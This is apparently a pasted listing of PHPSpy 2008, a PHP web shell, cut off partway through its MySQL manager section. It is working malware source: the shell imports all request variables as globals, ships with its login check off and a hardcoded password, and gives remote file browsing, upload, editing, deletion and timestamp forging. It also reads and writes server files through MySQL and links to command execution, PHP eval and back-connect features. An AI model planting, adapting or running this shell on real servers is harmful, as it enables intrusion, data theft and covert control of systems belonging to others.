· 8 years ago · Nov 02, 2017, 12:52 PM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0 );
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
14@set_time_limit(0);
15
16foreach(array('_GET','_POST') as $_request) {
17 foreach($$_request as $_key => $_value) {
18 if ($_key{0} != '_') {
19 if (IS_GPC) {
20 $_value = s_array($_value);
21 }
22 $$_key = $_value;
23 }
24 }
25}
26
27/*===================== ||-Є+ф+| =====================*/
28$admin = array();
29// -|+ё-ш-к|#-ы-щ+д, true +к-ш-к-щ+д, false +к+#+++ +ы.--|ц-б-ю+Є+|-з
30$admin['check'] = 0;
31// +ч| -ш-к|#-ы-щ+д,|ы-|+-||-+|#-ы
32$admin['pass'] = 'angel';
33
34//+ч- |+ cookie +ў+|+|+з+-|+-т-к|є, +Є||-+#++ |г, |ы-|+---|ц#ф-+, +ё+Є|ы#г|+-м+-
35// cookie |#+|
36$admin['cookiepre'] = '';
37// cookie +ў+|+Є
38$admin['cookiedomain'] = '';
39// cookie +ў+|-++|
40$admin['cookiepath'] = '/';
41// cookie +--з|+
42$admin['cookielife'] = 86400;
43/*===================== +ф+|+с- =====================*/
44
45if ($charset == 'utf8') {
46 header("content-Type: text/html; charset=utf-8");
47} elseif ($charset == 'big5') {
48 header("content-Type: text/html; charset=big5");
49} elseif ($charset == 'gbk') {
50 header("content-Type: text/html; charset=gbk");
51} elseif ($charset == 'latin1') {
52 header("content-Type: text/html; charset=iso-8859-2");
53}
54
55$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
56$timestamp = time();
57
58/*===================== +э+|-щ+д =====================*/
59if ($action == "logout") {
60 scookie('phpspypass', '', -86400 * 365);
61 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
62 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
63 exit;
64}
65if($admin['check']) {
66 if ($doing == 'login') {
67 if ($admin['pass'] == $password) {
68 scookie('phpspypass', $password);
69 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
70 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
71 exit;
72 }
73 }
74 if ($_COOKIE['phpspypass']) {
75 if ($_COOKIE['phpspypass'] != $admin['pass']) {
76 loginpage();
77 }
78 } else {
79 loginpage();
80 }
81}
82/*===================== -щ+д+с- =====================*/
83
84$errmsg = '';
85
86// #щ+|PHPINFO
87if ($action == 'phpinfo') {
88 if (IS_PHPINFO) {
89 phpinfo();
90 } else {
91 $errmsg = 'phpinfo() function has non-permissible';
92 }
93}
94
95// --+++-+
96if ($doing == 'downfile' && $thefile) {
97 if (!@file_exists($thefile)) {
98 $errmsg = 'The file you want Downloadable was nonexistent';
99 } else {
100 $fileinfo = pathinfo($thefile);
101 header('Content-type: application/x-'.$fileinfo['extension']);
102 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
103 header('Content-Length: '.filesize($thefile));
104 @readfile($thefile);
105 exit;
106 }
107}
108
109// +#++--++#++|- +|+т
110if ($doing == 'backupmysql' && !$saveasfile) {
111 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
112 $table = array_flip($table);
113 $result = q("SHOW tables");
114 if (!$result) p('<h2>'.mysql_error().'</h2>');
115 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
116 header('Content-type: application/unknown');
117 header('Content-Disposition: attachment; filename='.$filename);
118 $mysqldata = '';
119 while ($currow = mysql_fetch_array($result)) {
120 if (isset($table[$currow[0]])) {
121 $mysqldata .= sqldumptable($currow[0]);
122 }
123 }
124 mysql_close();
125 exit;
126}
127
128// -и| MYSQL--+++-+
129if($doing=='mysqldown'){
130 if (!$dbname) {
131 $errmsg = 'Please input dbname';
132 } else {
133 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
134 if (!file_exists($mysqldlfile)) {
135 $errmsg = 'The file you want Downloadable was nonexistent';
136 } else {
137 $result = q("select load_file('$mysqldlfile');");
138 if(!$result){
139 q("DROP TABLE IF EXISTS tmp_angel;");
140 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
141 //+|-#+ф|-+|#э-+++|-,##|т|Ў-+|-+б+++э+Є# |м__angel_1111111111_eof__|-+-+ -##+-ъ+ |-|щ+Ў
142 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
143 $result = q("select content from tmp_angel");
144 q("DROP TABLE tmp_angel");
145 }
146 $row = @mysql_fetch_array($result);
147 if (!$row) {
148 $errmsg = 'Load file failed '.mysql_error();
149 } else {
150 $fileinfo = pathinfo($mysqldlfile);
151 header('Content-type: application/x-'.$fileinfo['extension']);
152 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
153 header("Accept-Length: ".strlen($row[0]));
154 echo $row[0];
155 exit;
156 }
157 }
158 }
159}
160
161?>
162<html>
163<head>
164<meta http-equiv="Content-Type" content="text/html; charset=gbk">
165<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
166<style type="text/css">
167body,td{font: 12px Arial,Tahoma;line-height: 16px;}
168.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
169.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
170.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
171a {color: #00f;text-decoration:underline;}
172a:hover{color: #f00;text-decoration:none;}
173.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
174.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
175.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
176.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
177.head td span{font-weight:normal;}
178form{margin:0;padding:0;}
179h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
180ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
181u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
182</style>
183<script type="text/javascript">
184function CheckAll(form) {
185 for(var i=0;i<form.elements.length;i++) {
186 var e = form.elements[i];
187 if (e.name != 'chkall')
188 e.checked = form.chkall.checked;
189 }
190}
191function $(id) {
192 return document.getElementById(id);
193}
194function goaction(act){
195 $('goaction').action.value=act;
196 $('goaction').submit();
197}
198</script>
199</head>
200<body style="margin:0;table-layout:fixed; word-break:break-all">
201<table width="100%" border="0" cellpadding="0" cellspacing="0">
202 <tr class="head">
203 <td><span style="float:right;"><a href="http://www.alturks.com" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
204 </tr>
205 <tr class="alt1">
206 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
207 <a href="javascript:goaction('logout');">Logout</a> |
208 <a href="javascript:goaction('file');">File Manager</a> |
209 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
210 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
211 <a href="javascript:goaction('shell');">Execute Command</a> |
212 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
213 <a href="javascript:goaction('eval');">Eval PHP Code</a>
214 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
215 </td>
216 </tr>
217</table>
218<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
219<?php
220
221formhead(array('name'=>'goaction'));
222makehide('action');
223formfoot();
224
225$errmsg && m($errmsg);
226
227// +ё+б|#|#-++|
228!$dir && $dir = '.';
229$nowpath = getPath(SA_ROOT, $dir);
230if (substr($dir, -1) != '/') {
231 $dir = $dir.'/';
232}
233$uedir = ue($dir);
234
235if (!$action || $action == 'file') {
236
237 // +-|-|--||щ+Ў
238 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
239
240 // ++| -+-+
241 if ($doing == 'deldir' && $thefile) {
242 if (!file_exists($thefile)) {
243 m($thefile.' directory does not exist');
244 } else {
245 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
246 }
247 }
248
249 // ||+и-+-+
250 elseif ($newdirname) {
251 $mkdirs = $nowpath.$newdirname;
252 if (file_exists($mkdirs)) {
253 m('Directory has already existed');
254 } else {
255 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
256 @chmod($mkdirs,0777);
257 }
258 }
259
260 // +-|л+-+
261 elseif ($doupfile) {
262 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
263 }
264
265 // #р+н+-+
266 elseif ($editfilename && $filecontent) {
267 $fp = @fopen($editfilename,'w');
268 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
269 @fclose($fp);
270 }
271
272 // #р+н+-+ -Ї-+
273 elseif ($pfile && $newperm) {
274 if (!file_exists($pfile)) {
275 m('The original file does not exist');
276 } else {
277 $newperm = base_convert($newperm,8,10);
278 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
279 }
280 }
281
282 // +-|
283 elseif ($oldname && $newfilename) {
284 $nname = $nowpath.$newfilename;
285 if (file_exists($nname) || !file_exists($oldname)) {
286 m($nname.' has already existed or original file does not exist');
287 } else {
288 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
289 }
290 }
291
292 // +|+|+-+
293 elseif ($sname && $tofile) {
294 if (file_exists($tofile) || !file_exists($sname)) {
295 m('The goal file has already existed or original file does not exist');
296 } else {
297 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
298 }
299 }
300
301 // +--б-#+ф
302 elseif ($curfile && $tarfile) {
303 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
304 m('The goal file has already existed or original file does not exist');
305 } else {
306 $time = @filemtime($tarfile);
307 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
308 }
309 }
310
311 // ++|и-х-#+ф
312 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
313 if (!@file_exists($curfile)) {
314 m(basename($curfile).' does not exist');
315 } else {
316 $time = strtotime("$year-$month-$day $hour:$minute:$second");
317 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
318 }
319 }
320
321 // |Є# --++
322 elseif($doing == 'downrar') {
323 if ($dl) {
324 $dfiles='';
325 foreach ($dl as $filepath => $value) {
326 $dfiles.=$filepath.',';
327 }
328 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
329 $dl=explode(',',$dfiles);
330 $zip=new PHPZip($dl);
331 $code=$zip->out;
332 header('Content-type: application/octet-stream');
333 header('Accept-Ranges: bytes');
334 header('Accept-Length: '.strlen($code));
335 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
336 echo $code;
337 exit;
338 } else {
339 m('Please select file(s)');
340 }
341 }
342
343 // + -+++| +-+
344 elseif($doing == 'delfiles') {
345 if ($dl) {
346 $dfiles='';
347 $succ = $fail = 0;
348 foreach ($dl as $filepath => $value) {
349 if (@unlink($filepath)) {
350 $succ++;
351 } else {
352 $fail++;
353 }
354 }
355 m('Deleted file have finishedгмchoose '.count($dl).' success '.$succ.' fail '.$fail);
356 } else {
357 m('Please select file(s)');
358 }
359 }
360
361 //#++ў-ъ#-
362 formhead(array('name'=>'createdir'));
363 makehide('newdirname');
364 makehide('dir',$nowpath);
365 formfoot();
366 formhead(array('name'=>'fileperm'));
367 makehide('newperm');
368 makehide('pfile');
369 makehide('dir',$nowpath);
370 formfoot();
371 formhead(array('name'=>'copyfile'));
372 makehide('sname');
373 makehide('tofile');
374 makehide('dir',$nowpath);
375 formfoot();
376 formhead(array('name'=>'rename'));
377 makehide('oldname');
378 makehide('newfilename');
379 makehide('dir',$nowpath);
380 formfoot();
381 formhead(array('name'=>'fileopform'));
382 makehide('action');
383 makehide('opfile');
384 makehide('dir');
385 formfoot();
386
387 $free = @disk_free_space($nowpath);
388 !$free && $free = 0;
389 $all = @disk_total_space($nowpath);
390 !$all && $all = 0;
391 $used = $all-$free;
392 $used_percent = @round(100/($all/$free),2);
393 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
394
395?>
396<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
397 <form action="" method="post" id="godir" name="godir">
398 <tr>
399 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
400 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
401 <td nowrap><input class="bt" value="GO" type="submit"></td>
402 </tr>
403 </form>
404</table>
405<script type="text/javascript">
406function createdir(){
407 var newdirname;
408 newdirname = prompt('Please input the directory name:', '');
409 if (!newdirname) return;
410 $('createdir').newdirname.value=newdirname;
411 $('createdir').submit();
412}
413function fileperm(pfile){
414 var newperm;
415 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
416 if (!newperm) return;
417 $('fileperm').newperm.value=newperm;
418 $('fileperm').pfile.value=pfile;
419 $('fileperm').submit();
420}
421function copyfile(sname){
422 var tofile;
423 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
424 if (!tofile) return;
425 $('copyfile').tofile.value=tofile;
426 $('copyfile').sname.value=sname;
427 $('copyfile').submit();
428}
429function rename(oldname){
430 var newfilename;
431 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
432 if (!newfilename) return;
433 $('rename').newfilename.value=newfilename;
434 $('rename').oldname.value=oldname;
435 $('rename').submit();
436}
437function dofile(doing,thefile,m){
438 if (m && !confirm(m)) {
439 return;
440 }
441 $('filelist').doing.value=doing;
442 if (thefile){
443 $('filelist').thefile.value=thefile;
444 }
445 $('filelist').submit();
446}
447function createfile(nowpath){
448 var filename;
449 filename = prompt('Please input the file name:', '');
450 if (!filename) return;
451 opfile('editfile',nowpath + filename,nowpath);
452}
453function opfile(action,opfile,dir){
454 $('fileopform').action.value=action;
455 $('fileopform').opfile.value=opfile;
456 $('fileopform').dir.value=dir;
457 $('fileopform').submit();
458}
459function godir(dir,view_writable){
460 if (view_writable) {
461 $('godir').view_writable.value=1;
462 }
463 $('godir').dir.value=dir;
464 $('godir').submit();
465}
466</script>
467 <?php
468 tbhead();
469 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
470 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
471 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
472 if ($view_writable) {
473 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
474 } else {
475 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
476 }
477 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
478 if (IS_WIN && IS_COM) {
479 $obj = new COM('scripting.filesystemobject');
480 if ($obj && is_object($obj)) {
481 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
482 foreach($obj->Drives as $drive) {
483 if ($drive->DriveType == 2) {
484 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
485 } else {
486 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
487 }
488 }
489 }
490 }
491
492 p('</td></tr></form>');
493
494 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
495
496 //#щ+|- +-++-|+-+ |--+-+
497 $dirdata=array();
498 $filedata=array();
499
500 if ($view_writable) {
501 $dirdata = GetList($nowpath);
502 } else {
503 // -+-+--#э
504 $dirs=@opendir($dir);
505 while ($file=@readdir($dirs)) {
506 $filepath=$nowpath.$file;
507 if(@is_dir($filepath)){
508 $dirdb['filename']=$file;
509 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
510 $dirdb['dirchmod']=getChmod($filepath);
511 $dirdb['dirperm']=getPerms($filepath);
512 $dirdb['fileowner']=getUser($filepath);
513 $dirdb['dirlink']=$nowpath;
514 $dirdb['server_link']=$filepath;
515 $dirdb['client_link']=ue($filepath);
516 $dirdata[]=$dirdb;
517 } else {
518 $filedb['filename']=$file;
519 $filedb['size']=sizecount(@filesize($filepath));
520 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
521 $filedb['filechmod']=getChmod($filepath);
522 $filedb['fileperm']=getPerms($filepath);
523 $filedb['fileowner']=getUser($filepath);
524 $filedb['dirlink']=$nowpath;
525 $filedb['server_link']=$filepath;
526 $filedb['client_link']=ue($filepath);
527 $filedata[]=$filedb;
528 }
529 }// while
530 unset($dirdb);
531 unset($filedb);
532 @closedir($dirs);
533 }
534 @sort($dirdata);
535 @sort($filedata);
536 $dir_i = '0';
537 foreach($dirdata as $key => $dirdb){
538 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
539 $thisbg = bg();
540 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
541 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
542 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
543 p('<td nowrap>'.$dirdb['mtime'].'</td>');
544 p('<td nowrap>--</td>');
545 p('<td nowrap>');
546 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
547 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
548 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
549 p('</tr>');
550 $dir_i++;
551 } else {
552 if($dirdb['filename']=='..') {
553 p('<tr class='.bg().'>');
554 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
555 p('</tr>');
556 }
557 }
558 }
559
560 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
561 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
562 makehide('action','file');
563 makehide('thefile');
564 makehide('doing');
565 makehide('dir',$nowpath);
566 $file_i = '0';
567 foreach($filedata as $key => $filedb){
568 if($filedb['filename']!='..' && $filedb['filename']!='.') {
569 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
570 $thisbg = bg();
571 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
572 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
573 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
574 p('<td nowrap>'.$filedb['mtime'].'</td>');
575 p('<td nowrap>'.$filedb['size'].'</td>');
576 p('<td nowrap>');
577 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
578 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
579 p('<td nowrap>');
580 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
581 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
582 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
583 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
584 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
585 p('</td></tr>');
586 $file_i++;
587 }
588 }
589 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
590 p('</form></table>');
591}// end dir
592
593elseif ($action == 'sqlfile') {
594 if($doing=="mysqlupload"){
595 $file = $_FILES['uploadfile'];
596 $filename = $file['tmp_name'];
597 if (file_exists($savepath)) {
598 m('The goal file has already existed');
599 } else {
600 if(!$filename) {
601 m('Please choose a file');
602 } else {
603 $fp=@fopen($filename,'r');
604 $contents=@fread($fp, filesize($filename));
605 @fclose($fp);
606 $contents = bin2hex($contents);
607 if(!$upname) $upname = $file['name'];
608 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
609 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
610 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
611 }
612 }
613 }
614?>
615<script type="text/javascript">
616function mysqlfile(doing){
617 if(!doing) return;
618 $('doing').value=doing;
619 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
620 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
621 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
622 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
623 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
624 $('mysqlfile').charset.value=$('dbinfo').charset.value;
625 $('mysqlfile').submit();
626}
627</script>
628<?php
629 !$dbhost && $dbhost = 'localhost';
630 !$dbuser && $dbuser = 'root';
631 !$dbport && $dbport = '3306';
632 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
633 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
634 makehide('action','sqlfile');
635 p('<p>');
636 p('DBHost:');
637 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
638 p(':');
639 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
640 p('DBUser:');
641 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
642 p('DBPass:');
643 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
644 p('DBName:');
645 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
646 p('DBCharset:');
647 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
648 p('</p>');
649 formfoot();
650 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
651 p('<h2>Upload file</h2>');
652 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
653 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
654 p('<h2>Download file</h2>');
655 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
656 makehide('dbhost');
657 makehide('dbport');
658 makehide('dbuser');
659 makehide('dbpass');
660 makehide('dbname');
661 makehide('charset');
662 makehide('doing');
663 makehide('action','sqlfile');
664 p('</form>');
665}
666
667elseif ($action == 'sqladmin') {
668 !$dbhost && $dbhost = 'localhost';
669 !$dbuser && $dbuser = 'root';
670 !$dbport && $dbport = '3306';
671 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
672 if(isset($dbhost)){
673 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
674 }
675 if(isset($dbuser)) {
676 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
677 }
678 if(isset($dbpass)) {
679 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
680 }
681 if(isset($dbport)) {
682 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
683 }
684 if(isset($dbname)) {
685 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
686 }
687 if(isset($charset)) {
688 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
689 }
690
691 if ($doing == 'backupmysql' && $saveasfile) {
692 if (!$table) {
693 m('Please choose the table');
694 } else {
695 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
696 $table = array_flip($table);
697 $fp = @fopen($path,'w');
698 if ($fp) {
699 $result = q('SHOW tables');
700 if (!$result) p('<h2>'.mysql_error().'</h2>');
701 $mysqldata = '';
702 while ($currow = mysql_fetch_array($result)) {
703 if (isset($table[$currow[0]])) {
704 sqldumptable($currow[0], $fp);
705 }
706 }
707 fclose($fp);
708 $fileurl = str_replace(SA_ROOT,'',$path);
709 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
710 mysql_close();
711 } else {
712 m('Backup failed');
713 }
714 }
715 }
716 if ($insert && $insertsql) {
717 $keystr = $valstr = $tmp = '';
718 foreach($insertsql as $key => $val) {
719 if ($val) {
720 $keystr .= $tmp.$key;
721 $valstr .= $tmp."'".addslashes($val)."'";
722 $tmp = ',';
723 }
724 }
725 if ($keystr && $valstr) {
726 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
727 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
728 }
729 }
730 if ($update && $insertsql && $base64) {
731 $valstr = $tmp = '';
732 foreach($insertsql as $key => $val) {
733 $valstr .= $tmp.$key."='".addslashes($val)."'";
734 $tmp = ',';
735 }
736 if ($valstr) {
737 $where = base64_decode($base64);
738 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
739 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
740 }
741 }
742 if ($doing == 'del' && $base64) {
743 $where = base64_decode($base64);
744 $delete_sql = "DELETE FROM $tablename WHERE $where";
745 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
746 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
747 }
748
749 if ($tablename && $doing == 'drop') {
750 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
751 if (q("DROP TABLE $tablename")) {
752 m('Drop table of success');
753 $tablename = '';
754 } else {
755 m(mysql_error());
756 }
757 }
758
759 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
760
761 formhead(array('title'=>'MYSQL Manager'));
762 makehide('action','sqladmin');
763 p('<p>');
764 p('DBHost:');
765 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
766 p(':');
767 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
768 p('DBUser:');
769 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
770 p('DBPass:');
771 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
772 p('DBCharset:');
773 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
774 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
775 p('</p>');
776 formfoot();
777?>
778<script type="text/javascript">
779function editrecord(action, base64, tablename){
780 if (action == 'del') {
781 if (!confirm('Is or isn\'t deletion record?')) return;
782 }
783 $('recordlist').doing.value=action;
784 $('recordlist').base64.value=base64;
785 $('recordlist').tablename.value=tablename;
786 $('recordlist').submit();
787}
788function moddbname(dbname) {
789 if(!dbname) return;
790 $('setdbname').dbname.value=dbname;
